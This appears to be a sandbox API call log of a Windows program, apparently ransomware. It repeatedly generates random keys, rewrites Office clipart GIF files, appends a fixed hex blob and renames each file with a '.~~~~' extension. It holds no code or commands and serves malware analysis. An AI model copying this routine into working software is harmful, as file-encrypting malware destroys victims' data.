	[0120.490] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb14a8110, dwHighDateTime=0x1d60e1e)) 
	[0120.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0120.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0120.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0120.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9e98
	[0120.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9e98 | out: hHeap=0x300000) returned 1
	[0120.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0120.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5578
	[0120.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.490] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0120.491] GetLastError () returned 0x0
	[0120.491] GetLastError () returned 0x0
	[0120.491] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0120.491] GetLastError () returned 0x0
	[0120.491] GetLastError () returned 0x0
	[0120.492] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffdab, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.492] WriteFile (in: hFile=0x140, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x255, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x255, lpOverlapped=0x0) returned 1
	[0120.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0120.493] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.493] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.494] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.494] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.494] CloseHandle (hObject=0x140) returned 1
	[0120.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0120.494] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01292_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01292_.gif.~~~~")) returned 1
	[0120.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0120.495] GetLastError () returned 0x0
	[0120.496] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942ca8) returned 1
	[0120.497] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.497] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0120.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0120.498] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24048770246) returned 1
	[0120.498] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb14a8110, dwHighDateTime=0x1d60e1e)) 
	[0120.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0120.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0120.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0120.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9ed0
	[0120.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9ed0 | out: hHeap=0x300000) returned 1
	[0120.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0120.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5610
	[0120.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.498] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0120.498] GetLastError () returned 0x0
	[0120.499] GetLastError () returned 0x0
	[0120.499] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0120.499] GetLastError () returned 0x0
	[0120.499] GetLastError () returned 0x0
	[0120.500] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffd59, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.500] WriteFile (in: hFile=0x140, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x2a7, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x2a7, lpOverlapped=0x0) returned 1
	[0120.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0120.501] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.501] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.501] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.501] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.501] CloseHandle (hObject=0x140) returned 1
	[0120.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0120.501] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01293_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01293_.gif.~~~~")) returned 1
	[0120.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.502] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0120.502] GetLastError () returned 0x0
	[0120.503] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942ca8) returned 1
	[0120.504] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.504] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.504] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0120.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0120.505] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24049474440) returned 1
	[0120.505] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb14ce270, dwHighDateTime=0x1d60e1e)) 
	[0120.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0120.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0120.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0120.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9f08
	[0120.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9f08 | out: hHeap=0x300000) returned 1
	[0120.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0120.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.505] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b56a8
	[0120.505] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.505] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0120.505] GetLastError () returned 0x0
	[0120.506] GetLastError () returned 0x0
	[0120.506] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0120.506] GetLastError () returned 0x0
	[0120.506] GetLastError () returned 0x0
	[0120.507] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffd53, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.507] WriteFile (in: hFile=0x140, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x2ad, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x2ad, lpOverlapped=0x0) returned 1
	[0120.508] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0120.508] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.508] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.508] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.508] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.508] CloseHandle (hObject=0x140) returned 1
	[0120.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0120.509] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01294_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01294_.gif.~~~~")) returned 1
	[0120.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0120.510] GetLastError () returned 0x0
	[0120.510] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942ca8) returned 1
	[0120.511] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.511] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0120.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0120.511] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24050118497) returned 1
	[0120.511] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb14ce270, dwHighDateTime=0x1d60e1e)) 
	[0120.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0120.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0120.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0120.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9f40
	[0120.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9f40 | out: hHeap=0x300000) returned 1
	[0120.511] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0120.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.512] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5740
	[0120.512] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.512] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0120.512] GetLastError () returned 0x0
	[0120.512] GetLastError () returned 0x0
	[0120.512] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0120.512] GetLastError () returned 0x0
	[0120.512] GetLastError () returned 0x0
	[0120.513] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffe9f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.513] WriteFile (in: hFile=0x140, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x161, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x161, lpOverlapped=0x0) returned 1
	[0120.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0120.514] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.514] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.515] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.515] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.515] CloseHandle (hObject=0x140) returned 1
	[0120.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0120.515] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01295_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01295_.gif.~~~~")) returned 1
	[0120.516] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.516] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0120.516] GetLastError () returned 0x0
	[0120.516] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942ca8) returned 1
	[0120.517] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.517] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.517] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0120.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0120.518] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24050775137) returned 1
	[0120.518] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb14ce270, dwHighDateTime=0x1d60e1e)) 
	[0120.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0120.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0120.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0120.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9f78
	[0120.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.518] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9f78 | out: hHeap=0x300000) returned 1
	[0120.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.518] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0120.518] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b57d8
	[0120.518] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.518] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0120.519] GetLastError () returned 0x0
	[0120.519] GetLastError () returned 0x0
	[0120.519] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0120.519] GetLastError () returned 0x0
	[0120.519] GetLastError () returned 0x0
	[0120.520] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffe11, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.520] WriteFile (in: hFile=0x140, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x1ef, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x1ef, lpOverlapped=0x0) returned 1
	[0120.521] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0120.521] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.521] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.521] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.521] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.522] CloseHandle (hObject=0x140) returned 1
	[0120.522] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f78e8
	[0120.522] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif.~~~~")) returned 1
	[0120.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.523] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0120.523] GetLastError () returned 0x0
	[0120.523] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2942ca8) returned 1
	[0120.524] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.524] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
